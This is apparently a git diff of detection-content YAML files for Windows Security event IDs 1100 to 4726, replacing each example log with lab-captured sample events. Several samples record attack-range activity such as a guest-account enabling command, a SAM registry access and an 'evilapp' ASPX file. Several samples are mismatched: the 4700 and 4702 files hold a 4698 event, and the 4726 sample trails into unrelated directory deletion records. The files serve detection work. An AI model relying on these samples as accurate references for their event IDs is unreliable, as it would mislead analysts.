c0cf87c78b..8e6ae1491c 100644 --- a/data_sources/windows_event_log_security_1100.yml +++ b/data_sources/windows_event_log_security_1100.yml @@ -89,4 +89,5 @@ output_fields: - status - subject - vendor_product -example_log: 11000410300x4020000000000000140874Securityar-win-2 +example_log: | + 11000410300x4020000000000000135136SecurityEC2AMAZ-M3380E5 diff --git a/data_sources/windows_event_log_security_1102.yml b/data_sources/windows_event_log_security_1102.yml index 893eddfc47..aaf8fb6da4 100644 --- a/data_sources/windows_event_log_security_1102.yml +++ b/data_sources/windows_event_log_security_1102.yml @@ -93,4 +93,5 @@ output_fields: - status - user - vendor_product -example_log: 11020410400x40200000000000001826166Securityar-win-dc.attackrange.localATTACKRANGE\AdministratorAdministratorATTACKRANGE0x34a3a27 +example_log: | + 11020410400x40200000000000001430687Securityar-win-dc.attackrange.localATTACKRANGE\AdministratorAdministratorATTACKRANGE0x40cbb8f diff --git a/data_sources/windows_event_log_security_4624.yml b/data_sources/windows_event_log_security_4624.yml index 2e3a02a8a0..0d6e148c53 100644 --- a/data_sources/windows_event_log_security_4624.yml +++ b/data_sources/windows_event_log_security_4624.yml @@ -126,4 +126,5 @@ output_fields: - signature_id - src - user -example_log: 4624201254400x8020000000000000371886Securityar-win-7.attackrange.localNULL SID--0x0ATTACKRANGE\ELMER_SALASELMER_SALASATTACKRANGE.LOCAL0x693ef43KerberosKerberos-{139F7D70-0163-38CC-676D-00AE04A0F19C}--00x0-10.0.1.1649980%%1833---%%18430x0%%1843 +example_log: | + 4624201254400x8020000000000000765493Securityar-win-2.attackrange.localNULL SID--0x0NT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE.LOCAL0x3fad7663KerberosKerberos-{3E041EE3-7BA6-064E-8CC7-68857CBC913F}--00x0-127.0.0.10%%1833---%%18430x0%%1842 diff --git a/data_sources/windows_event_log_security_4625.yml b/data_sources/windows_event_log_security_4625.yml index 6639631dcb..3e46c8d0fa 100644 --- a/data_sources/windows_event_log_security_4625.yml +++ b/data_sources/windows_event_log_security_4625.yml @@ -125,4 +125,5 @@ output_fields: - signature_id - src - user -example_log: 4625001254400x8010000000000000367348Securityar-win-8.attackrange.localNULL SID--0x0NULL SIDAdministratorbuiltin0xc000006d%%23130xc000006a3NtLmSsp NTLM---00x0-10.0.1.3059450 +example_log: | + 4625001254400x801000000000000012864SecurityVICTIM-PCNULL SID--0x0NULL SIDAdministratorATTACKER0xc000006d%%23130xc000006a3NtLmSsp NTLMATTACKER--00x0--- diff --git a/data_sources/windows_event_log_security_4648.yml b/data_sources/windows_event_log_security_4648.yml index e5b67444dc..cd8c0cbad9 100644 --- a/data_sources/windows_event_log_security_4648.yml +++ b/data_sources/windows_event_log_security_4648.yml @@ -109,4 +109,5 @@ output_fields: - dest - src_ip - user -example_log: 4648001254400x8020000000000000336567Securitywin-host-mvelazco-02713-447.attackrange.localATTACKRANGE\REED_LARSENreed_larsenATTACKRANGE0x1360f2{00000000-0000-0000-0000-000000000000}STEVE_BRADFORDattackrange.local{00000000-0000-0000-0000-000000000000}win-dc-mvelazco-02713-392.attackrange.localwin-dc-mvelazco-02713-392.attackrange.local0x410.0.1.14445 +example_log: | + 4648001254400x8020000000000000336567Securitywin-host-mvelazco-02713-447.attackrange.localATTACKRANGE\REED_LARSENreed_larsenATTACKRANGE0x1360f2{00000000-0000-0000-0000-000000000000}STEVE_BRADFORDattackrange.local{00000000-0000-0000-0000-000000000000}win-dc-mvelazco-02713-392.attackrange.localwin-dc-mvelazco-02713-392.attackrange.local0x410.0.1.14445 diff --git a/data_sources/windows_event_log_security_4662.yml b/data_sources/windows_event_log_security_4662.yml index f980f5410b..4f9c7e550f 100644 --- a/data_sources/windows_event_log_security_4662.yml +++ b/data_sources/windows_event_log_security_4662.yml @@ -95,4 +95,14 @@ fields: - Version output_fields: - dest -example_log: 4662001408000x801000000000000021623198276Securityattack_range_dcattack_range\attackerattackerattack_range0x632426dc0DSgroupCN=Incoming Forest Trust Builders,CN=Users,DC=Attack_RangeObject Access0x0%%7688 +example_log: | + 4662001408000x802000000000000015110554Securityar-win-dc.attackrange.localS-1-5-21-390003789-444691441-1275789787-1008AR-WIN-DC$ATTACKRANGE0x335045DS%{bf967a86-0de6-11d0-a285-00aa003049e2}%{94d92973-5ce1-4126-87d3-e2efaa3ceaec}Object Access0x0%%7684 + 0x10%%7684 + {59ba2f42-79a2-11d0-9020-00c04fc2d3cf} + {bf967a00-0de6-11d0-a285-00aa003049e2} + {e48d0154-bcf8-11d1-8702-00c04fb96050} + {26d97369-6070-11d1-a9c6-0000f80367c1} + {4c164200-20c0-11d0-a768-00aa006e0529} + {bf967a68-0de6-11d0-a285-00aa003049e2} + {bf967a86-0de6-11d0-a285-00aa003049e2} + - diff --git a/data_sources/windows_event_log_security_4663.yml b/data_sources/windows_event_log_security_4663.yml index 0f983fcbdc..9ea738c5f8 100644 --- a/data_sources/windows_event_log_security_4663.yml +++ b/data_sources/windows_event_log_security_4663.yml @@ -98,4 +98,6 @@ fields: - Version output_fields: - dest -example_log: 4663101280000x802000000000000010525869Securityar-win-2.attackrange.localAR-WIN-2\AdministratorAdministratorAR-WIN-20x6cfe7SecurityFileC:\Program Files (x86)\ScreenConnect\App_Extensions\evilapp - Copy (2).aspx0x2220%%4424 +example_log: | + 4663101280100x8020000000000000650431Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e7SecurityKey\REGISTRY\Windows\System32\config\SAM\test0x33c%%4436 + 0x100x2c4C:\Windows\System32\svchost.exe- diff --git a/data_sources/windows_event_log_security_4672.yml b/data_sources/windows_event_log_security_4672.yml index 691b0e5537..a99eddfdea 100644 --- a/data_sources/windows_event_log_security_4672.yml +++ b/data_sources/windows_event_log_security_4672.yml @@ -90,4 +90,14 @@ fields: - Version output_fields: - dest -example_log: 4672001254800x8020000000000000148946Securityar-win-6.attackrange.localATTACKRANGE\REED_MORSEREED_MORSEATTACKRANGE0x509b11SeSecurityPrivilege +example_log: | + 4672001254800x8020000000000000211384Securityar-win-dc.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-DC$ATTACKRANGE0x5d96beSeSecurityPrivilege + SeBackupPrivilege + SeRestorePrivilege + SeTakeOwnershipPrivilege + SeDebugPrivilege + SeSystemEnvironmentPrivilege + SeLoadDriverPrivilege + SeImpersonatePrivilege + SeDelegateSessionUserImpersonatePrivilege + SeEnableDelegationPrivilege diff --git a/data_sources/windows_event_log_security_4688.yml b/data_sources/windows_event_log_security_4688.yml index 9e45b19be2..6efac424f8 100644 --- a/data_sources/windows_event_log_security_4688.yml +++ b/data_sources/windows_event_log_security_4688.yml @@ -166,4 +166,5 @@ convert_to_log_source: ProcessId: ParentProcessId ParentProcessName: ParentImage Computer: Computer -example_log: 4688201331200x8020000000000000432820Securityar-win-1NT AUTHORITY\SYSTEMAR-WIN-1$WORKGROUP0x3e70xf84C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe%%19360xb2c"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level +example_log: | + 4688 2 0 13312 0 0x8020000000000000 386101 Security SLABS-DC.snapattack.labs S-1-5-21-552886593-836758079-2829650512-1009 user SNAPATTACK 0x44214 0x858 C:\Windows\System32\net1.exe %%1937 0x1b88 C:\Windows\system32\net1 user guest /active:yes S-1-0-0 - - 0x0 C:\Windows\System32\net.exe S-1-16-12288 diff --git a/data_sources/windows_event_log_security_4698.yml b/data_sources/windows_event_log_security_4698.yml index fff997995f..6a5e499c95 100644 --- a/data_sources/windows_event_log_security_4698.yml +++ b/data_sources/windows_event_log_security_4698.yml @@ -97,4 +97,48 @@ fields: - Version output_fields: - dest -example_log: 04/26/2022 11:12:09 AM +example_log: | + 4698101280400x8020000000000000341052Securitytestlab-win-dc.attackrange.localATTACKRANGE\AdministratoradministratorATTACKRANGE0x7eb3a\CompMgmtLauncher<?xml version="1.0" encoding="UTF-16"?> + <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> + <RegistrationInfo> + <URI>\CompMgmtLauncher</URI> + </RegistrationInfo> + <Triggers> + <LogonTrigger> + <Enabled>true</Enabled> + </LogonTrigger> + </Triggers> + <Principals> + <Principal id="Author"> + <RunLevel>HighestAvailable</RunLevel> + <UserId>ATTACKRANGE\administrator</UserId> + <LogonType>InteractiveToken</LogonType> + </Principal> + </Principals> + <Settings> + <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy> + <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> + <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> + <AllowHardTerminate>true</AllowHardTerminate> + <StartWhenAvailable>false</StartWhenAvailable> + <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> + <IdleSettings> + <Duration>PT10M</Duration> + <WaitTimeout>PT1H</WaitTimeout> + <StopOnIdleEnd>true</StopOnIdleEnd> + <RestartOnIdle>false</RestartOnIdle> + </IdleSettings> + <AllowStartOnDemand>true</AllowStartOnDemand> + <Enabled>true</Enabled> + <Hidden>false</Hidden> + <RunOnlyIfIdle>false</RunOnlyIfIdle> + <WakeToRun>false</WakeToRun> + <ExecutionTimeLimit>PT72H</ExecutionTimeLimit> + <Priority>7</Priority> + </Settings> + <Actions Context="Author"> + <Exec> + <Command>C:\Windows\System32\CompMgmtLauncher.exe</Command> + </Exec> + </Actions> + </Task>185773484629040073691631920testlab-win-dc.attackrange.local diff --git a/data_sources/windows_event_log_security_4699.yml b/data_sources/windows_event_log_security_4699.yml index ccc7a927af..f94fa45831 100644 --- a/data_sources/windows_event_log_security_4699.yml +++ b/data_sources/windows_event_log_security_4699.yml @@ -82,4 +82,5 @@ fields: - Version output_fields: - dest -example_log: 11/12/2021 05:16:44 PM +example_log: | + 4699001280400x80200000000000003702198Securitywin-host-987.attackrange.localATTACKRANGE\AdministratorAdministratorATTACKRANGE0xA6E4D16\evilTask diff --git a/data_sources/windows_event_log_security_4700.yml b/data_sources/windows_event_log_security_4700.yml index b1f856956c..dbd972e4b1 100644 --- a/data_sources/windows_event_log_security_4700.yml +++ b/data_sources/windows_event_log_security_4700.yml @@ -91,4 +91,54 @@ fields: - vendor - vendor_product - Version -example_log: 4700 0 0 12804 0 0x8020000000000000 344861 Security DC01.contoso.local S-1-5-21-3457937927-2839227994-823803824-1104 dadmin CONTOSO 0x364eb \\Microsoft\\StartListener 2015-09-22T19:03:06.9258653 CONTOSO\\dadmin LeastPrivilege CONTOSO\\dadmin InteractiveToken IgnoreNew true true true false false true false true true false false false P3D 7 C:\\Documents\\listener.exe +example_log: | + 4698101280400x8020000000000000355503124SecurityVICTIM_PC.ATTACK_RANGE.LANS-1-5-21-522199786-2067774556-312552118-87710ATTACKERATTACK_RANGE0x31b543a1\WallPaperChangeApp<?xml version="1.0" encoding="UTF-16"?> + <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> + <RegistrationInfo> + <Date>2025-02-06T15:42:02.105785</Date> + <Author>ATTACK_RANGE\ATTACKER</Author> + <URI>\WallPaperChangeApp</URI> + </RegistrationInfo> + <Triggers> + <CalendarTrigger> + <StartBoundary>2025-02-06T15:41:26.5273439</StartBoundary> + <Enabled>true</Enabled> + <ScheduleByDay> + <DaysInterval>1</DaysInterval> + </ScheduleByDay> + </CalendarTrigger> + </Triggers> + <Principals> + <Principal id="Author"> + <RunLevel>LeastPrivilege</RunLevel> + <UserId>ATTACK_RANGE\ATTACKER</UserId> + <LogonType>InteractiveToken</LogonType> + </Principal> + </Principals> + <Settings> + <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> + <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries> + <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> + <AllowHardTerminate>true</AllowHardTerminate> + <StartWhenAvailable>false</StartWhenAvailable> + <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> + <IdleSettings> + <Duration>PT10M</Duration> + <WaitTimeout>PT1H</WaitTimeout> + <StopOnIdleEnd>true</StopOnIdleEnd> + <RestartOnIdle>false</RestartOnIdle> + </IdleSettings> + <AllowStartOnDemand>true</AllowStartOnDemand> + <Enabled>true</Enabled> + <Hidden>false</Hidden> + <RunOnlyIfIdle>false</RunOnlyIfIdle> + <WakeToRun>false</WakeToRun> + <ExecutionTimeLimit>P3D</ExecutionTimeLimit> + <Priority>7</Priority> + </Settings> + <Actions Context="Author"> + <Exec> + <Command>calc.exe</Command> + </Exec> + </Actions> + </Task>267401227875302792471275720VICTIM_PC.ATTACK_RANGE.LAN diff --git a/data_sources/windows_event_log_security_4702.yml b/data_sources/windows_event_log_security_4702.yml index a5e4dd8e67..e89cc6d9b0 100644 --- a/data_sources/windows_event_log_security_4702.yml +++ b/data_sources/windows_event_log_security_4702.yml @@ -91,4 +91,54 @@ fields: - vendor - vendor_product - Version -example_log: 4702 0 0 12804 0 0x8020000000000000 344863 Security DC01.contoso.local S-1-5-21-3457937927-2839227994-823803824-1104 dadmin CONTOSO 0x364eb \\Microsoft\\StartListener 2015-09-22T19:03:06.9258653 CONTOSO\\dadmin HighestAvailable CONTOSO\\dadmin InteractiveToken IgnoreNew true true true false false true false true true false false false P3D 7 C:\\Documents\\listener.exe +example_log: | + 4698101280400x8020000000000000355503124SecurityVICTIM_PC.ATTACK_RANGE.LANS-1-5-21-522199786-2067774556-312552118-87710ATTACKERATTACK_RANGE0x31b543a1\WallPaperChangeApp<?xml version="1.0" encoding="UTF-16"?> + <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> + <RegistrationInfo> + <Date>2025-02-06T15:42:02.105785</Date> + <Author>ATTACK_RANGE\ATTACKER</Author> + <URI>\WallPaperChangeApp</URI> + </RegistrationInfo> + <Triggers> + <CalendarTrigger> + <StartBoundary>2025-02-06T15:41:26.5273439</StartBoundary> + <Enabled>true</Enabled> + <ScheduleByDay> + <DaysInterval>1</DaysInterval> + </ScheduleByDay> + </CalendarTrigger> + </Triggers> + <Principals> + <Principal id="Author"> + <RunLevel>LeastPrivilege</RunLevel> + <UserId>ATTACK_RANGE\ATTACKER</UserId> + <LogonType>InteractiveToken</LogonType> + </Principal> + </Principals> + <Settings> + <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> + <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries> + <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> + <AllowHardTerminate>true</AllowHardTerminate> + <StartWhenAvailable>false</StartWhenAvailable> + <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> + <IdleSettings> + <Duration>PT10M</Duration> + <WaitTimeout>PT1H</WaitTimeout> + <StopOnIdleEnd>true</StopOnIdleEnd> + <RestartOnIdle>false</RestartOnIdle> + </IdleSettings> + <AllowStartOnDemand>true</AllowStartOnDemand> + <Enabled>true</Enabled> + <Hidden>false</Hidden> + <RunOnlyIfIdle>false</RunOnlyIfIdle> + <WakeToRun>false</WakeToRun> + <ExecutionTimeLimit>P3D</ExecutionTimeLimit> + <Priority>7</Priority> + </Settings> + <Actions Context="Author"> + <Exec> + <Command>calc.exe</Command> + </Exec> + </Actions> + </Task>267401227875302792471275720VICTIM_PC.ATTACK_RANGE.LAN diff --git a/data_sources/windows_event_log_security_4703.yml b/data_sources/windows_event_log_security_4703.yml index 66513f4342..0582dd69cc 100644 --- a/data_sources/windows_event_log_security_4703.yml +++ b/data_sources/windows_event_log_security_4703.yml @@ -106,4 +106,16 @@ fields: - Version output_fields: - dest -example_log: 4703001331700x8020000000000000328761Securitywin-host-ctus-attack-range-115WIN-HOST-CTUS-A\AdministratorAdministratorWIN-HOST-CTUS-A0x288b91WIN-HOST-CTUS-A\AdministratorAdministratorWIN-HOST-CTUS-A0x288b91C:\Temp\poc_2\c2_agent.exe0x570SeDebugPrivilege- +example_log: | + 4703001331700x8020000000000000328878Securitywin-host-ctus-attack-range-115NT AUTHORITY\SYSTEMWIN-HOST-CTUS-A$WORKGROUP0x3e7NULL SIDWIN-HOST-CTUS-A$WORKGROUP0x3e7C:\Windows\System32\svchost.exe0x35cSeAssignPrimaryTokenPrivilege + SeIncreaseQuotaPrivilege + SeSecurityPrivilege + SeTakeOwnershipPrivilege + SeLoadDriverPrivilege + SeSystemtimePrivilege + SeBackupPrivilege + SeRestorePrivilege + SeShutdownPrivilege + SeSystemEnvironmentPrivilege + SeUndockPrivilege + SeManageVolumePrivilege- diff --git a/data_sources/windows_event_log_security_4719.yml b/data_sources/windows_event_log_security_4719.yml index 3a46f71f6a..1e4f109eb1 100644 --- a/data_sources/windows_event_log_security_4719.yml +++ b/data_sources/windows_event_log_security_4719.yml @@ -94,4 +94,5 @@ fields: - Version output_fields: - dest -example_log: 4719001356800x8020000000000000353597Securityar-win-dc.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-DC$ATTACKRANGE0x3e7%%8276%%13312{0CCE922B-69AE-11D9-BED3-505054503030}%%8448, %%8450 +example_log: | + 4719001356800x8020000000000000353597Securityar-win-dc.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-DC$ATTACKRANGE0x3e7%%8276%%13312{0CCE922B-69AE-11D9-BED3-505054503030}%%8448, %%8450 diff --git a/data_sources/windows_event_log_security_4720.yml b/data_sources/windows_event_log_security_4720.yml index 8ee5ca866c..362c9a1264 100644 --- a/data_sources/windows_event_log_security_4720.yml +++ b/data_sources/windows_event_log_security_4720.yml @@ -117,4 +117,8 @@ fields: - Version output_fields: - dest -example_log: 10/09/2020 10:41:26 AM +example_log: | + 4720001382400x80200000000000001263740Securityar-win-dc.attackrange.localunprivATTACKRANGEATTACKRANGE\unprivATTACKRANGE\AdministratorAdministratorATTACKRANGE0x2cc38d-unprivunrpivunpriv@attackrange.local-----%%1794%%1794513-0x00x15 + %%2080 + %%2082 + %%2084--%%1793 diff --git a/data_sources/windows_event_log_security_4723.yml b/data_sources/windows_event_log_security_4723.yml index ceba37b889..768d2ea91b 100644 --- a/data_sources/windows_event_log_security_4723.yml +++ b/data_sources/windows_event_log_security_4723.yml @@ -99,4 +99,5 @@ fields: - Version output_fields: - dest -example_log: 472300138240 0x8010000000000000 781490 Security WIN10-21H1.strt.labs AdministratorWIN10-21H1 S-1-5-21-1538153195-943065003-848949206-500 S-1-5-21-1538153195-943065003-848949206-1003bob WIN10-21H10x61a292 - +example_log: | + 4723001382400x8010000000000000781490SecurityWIN10-21H1.snapattack.labs AdministratorWIN10-21H1S-1-5-21-1538153195-943065003-848949206-500S-1-5-21-1538153195-943065003-848949206-1003bobWIN10-21H10x61a292- diff --git a/data_sources/windows_event_log_security_4724.yml b/data_sources/windows_event_log_security_4724.yml index e7f93f20d3..4e7afcb83f 100644 --- a/data_sources/windows_event_log_security_4724.yml +++ b/data_sources/windows_event_log_security_4724.yml @@ -98,4 +98,5 @@ fields: - Version output_fields: - dest -example_log: 4724001382400x8020000000000000276779Securityar-win-dc.attackrange.localTRUMAN_CLEMENTSATTACKRANGEATTACKRANGE\TRUMAN_CLEMENTSATTACKRANGE\AdministratorAdministratorATTACKRANGE0x592d1 +example_log: | + 4724001382400x8020000000000000276691Securityar-win-dc.attackrange.localBARBARA_ONEALATTACKRANGEATTACKRANGE\BARBARA_ONEALATTACKRANGE\AdministratorAdministratorATTACKRANGE0x592d1 diff --git a/data_sources/windows_event_log_security_4725.yml b/data_sources/windows_event_log_security_4725.yml index 656e394bb2..510e73c2d0 100644 --- a/data_sources/windows_event_log_security_4725.yml +++ b/data_sources/windows_event_log_security_4725.yml @@ -98,4 +98,5 @@ fields: - Version output_fields: - dest -example_log: 4725001382400x8020000000000000278771Securityar-win-dc.attackrange.localWILFORD_SUTTONATTACKRANGEATTACKRANGE\WILFORD_SUTTONATTACKRANGE\AdministratorAdministratorATTACKRANGE0x592d1 +example_log: | + 4725001382400x8020000000000000278688Securityar-win-dc.attackrange.localROD_RUSSELLATTACKRANGEATTACKRANGE\ROD_RUSSELLATTACKRANGE\AdministratorAdministratorATTACKRANGE0x592d1 diff --git a/data_sources/windows_event_log_security_4726.yml b/data_sources/windows_event_log_security_4726.yml index 83f5720769..c6d3e43d29 100644 --- a/data_sources/windows_event_log_security_4726.yml +++ b/data_sources/windows_event_log_security_4726.yml @@ -99,4 +99,235 @@ fields: - Version output_fields: - dest -example_log: 4726001382400x8020000000000000279283Securityar-win-dc.attackrange.localLYNN_WOLFATTACKRANGES-1-5-21-2851375338-1978525053-2422663219-2445ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x592d1- +example_log: | + 4726001382400x8020000000000000279240Securityar-win-dc.attackrange.localBRIDGETTE_GARRETTATTACKRANGES-1-5-21-2851375338-1978525053-2422663219-3265ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x592d1- + 02/21/2024 19:38:39.499 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=NATALIE_SLATER DEL:d4ffca90-bc57-4143-91a9-5718e10bad0e + distinguishedName=CN=NATALIE_SLATER\0ADEL:d4ffca90-bc57-4143-91a9-5718e10bad0e,CN=Deleted Objects,DC=attackrange,DC=local + cn=NATALIE_SLATER DEL:d4ffca90-bc57-4143-91a9-5718e10bad0e + Object Details: + sAMAccountName=NATALIE_SLATER + objectSid=S-1-5-21-2851375338-1978525053-2422663219-1181 + userAccountControl=512 + objectGUID=d4ffca90-bc57-4143-91a9-5718e10bad0e + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:49.26 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82133 + uSNCreated=17423 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=ServiceAccounts,OU=ESM,OU=Tier 2,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.437 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=LEILA_SWANSON DEL:df268d41-1319-40f9-8c89-2b0c4d64c2ba + distinguishedName=CN=LEILA_SWANSON\0ADEL:df268d41-1319-40f9-8c89-2b0c4d64c2ba,CN=Deleted Objects,DC=attackrange,DC=local + cn=LEILA_SWANSON DEL:df268d41-1319-40f9-8c89-2b0c4d64c2ba + Object Details: + sAMAccountName=LEILA_SWANSON + objectSid=S-1-5-21-2851375338-1978525053-2422663219-2953 + userAccountControl=512 + objectGUID=df268d41-1319-40f9-8c89-2b0c4d64c2ba + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:56.04 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82132 + uSNCreated=29876 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=Devices,OU=ESM,OU=Tier 2,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.421 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=TOM_MCKENZIE DEL:07e62916-f5f2-4a7a-bf85-cade41526b38 + distinguishedName=CN=TOM_MCKENZIE\0ADEL:07e62916-f5f2-4a7a-bf85-cade41526b38,CN=Deleted Objects,DC=attackrange,DC=local + cn=TOM_MCKENZIE DEL:07e62916-f5f2-4a7a-bf85-cade41526b38 + Object Details: + sAMAccountName=TOM_MCKENZIE + objectSid=S-1-5-21-2851375338-1978525053-2422663219-1792 + userAccountControl=512 + objectGUID=07e62916-f5f2-4a7a-bf85-cade41526b38 + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:51.49 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82131 + uSNCreated=21720 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=ServiceAccounts,OU=AWS,OU=Tier 1,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.359 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=OLIVIA_ANDREWS DEL:f465e25d-fd29-43be-a0f7-4743951d21bf + distinguishedName=CN=OLIVIA_ANDREWS\0ADEL:f465e25d-fd29-43be-a0f7-4743951d21bf,CN=Deleted Objects,DC=attackrange,DC=local + cn=OLIVIA_ANDREWS DEL:f465e25d-fd29-43be-a0f7-4743951d21bf + Object Details: + sAMAccountName=OLIVIA_ANDREWS + objectSid=S-1-5-21-2851375338-1978525053-2422663219-2218 + userAccountControl=512 + objectGUID=f465e25d-fd29-43be-a0f7-4743951d21bf + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:53.28 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82130 + uSNCreated=24713 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=Devices,OU=AWS,OU=Tier 1,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.327 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=LYDIA_RUSSO DEL:9396c805-1c01-4b6f-9ea5-5f8a2d78587e + distinguishedName=CN=LYDIA_RUSSO\0ADEL:9396c805-1c01-4b6f-9ea5-5f8a2d78587e,CN=Deleted Objects,DC=attackrange,DC=local + cn=LYDIA_RUSSO DEL:9396c805-1c01-4b6f-9ea5-5f8a2d78587e + Object Details: + sAMAccountName=LYDIA_RUSSO + objectSid=S-1-5-21-2851375338-1978525053-2422663219-2336 + userAccountControl=512 + objectGUID=9396c805-1c01-4b6f-9ea5-5f8a2d78587e + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:53.53 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82129 + uSNCreated=25541 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=Tier 2,OU=Admin,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.249 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=ESSIE_SALINAS DEL:1ad42e0d-7cc8-4701-a6cb-69f7adca8ad3 + distinguishedName=CN=ESSIE_SALINAS\0ADEL:1ad42e0d-7cc8-4701-a6cb-69f7adca8ad3,CN=Deleted Objects,DC=attackrange,DC=local + cn=ESSIE_SALINAS DEL:1ad42e0d-7cc8-4701-a6cb-69f7adca8ad3 + Object Details: + sAMAccountName=ESSIE_SALINAS + objectSid=S-1-5-21-2851375338-1978525053-2422663219-2134 + userAccountControl=512 + objectGUID=1ad42e0d-7cc8-4701-a6cb-69f7adca8ad3 + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:53.09 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82128 + uSNCreated=24123 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=ServiceAccounts,OU=GOO,OU=Tier 1,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.187 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=RILEY_OWEN DEL:8658c536-e6a2-4a87-a42a-766affc4d1f5 + distinguishedName=CN=RILEY_OWEN\0ADEL:8658c536-e6a2-4a87-a42a-766affc4d1f5,CN=Deleted Objects,DC=attackrange,DC=local + cn=RILEY_OWEN DEL:8658c536-e6a2-4a87-a42a-766affc4d1f5 + Object Details: + sAMAccountName=RILEY_OWEN + objectSid=S-1-5-21-2851375338-1978525053-2422663219-3098 + userAccountControl=4194816 + objectGUID=8658c536-e6a2-4a87-a42a-766affc4d1f5 + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:56.32 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82127 + uSNCreated=30896 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=Devices,OU=FIN,OU=Stage,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.155 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=LEE_OWEN DEL:cefa4d75-89e2-4470-b8a0-fa345385f9d6 + distinguishedName=CN=LEE_OWEN\0ADEL:cefa4d75-89e2-4470-b8a0-fa345385f9d6,CN=Deleted Objects,DC=attackrange,DC=local + cn=LEE_OWEN DEL:cefa4d75-89e2-4470-b8a0-fa345385f9d6 + Object Details: + sAMAccountName=LEE_OWEN + objectSid=S-1-5-21-2851375338-1978525053-2422663219-2955 + userAccountControl=512 + objectGUID=cefa4d75-89e2-4470-b8a0-fa345385f9d6 + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:56.04 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82126 + uSNCreated=29890 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=ServiceAccounts,OU=ESM,OU=Tier 1,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.124 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=KRISTEN_MCGEE DEL:f952e959-30fc-4bb5-bdbb-27b96da724c4 + distinguishedName=CN=KRISTEN_MCGEE\0ADEL:f952e959-30fc-4bb5-bdbb-27b96da724c4,CN=Deleted Objects,DC=attackrange,DC=local + cn=KRISTEN_MCGEE DEL:f952e959-30fc-4bb5-bdbb-27b96da724c4 + Object Details: + sAMAccountName=KRISTEN_MCGEE + objectSid=S-1-5-21-2851375338-1978525053-2422663219-3286 + userAccountControl=512 + objectGUID=f952e959-30fc-4bb5-bdbb-27b96da724c4 + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:57.08 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + 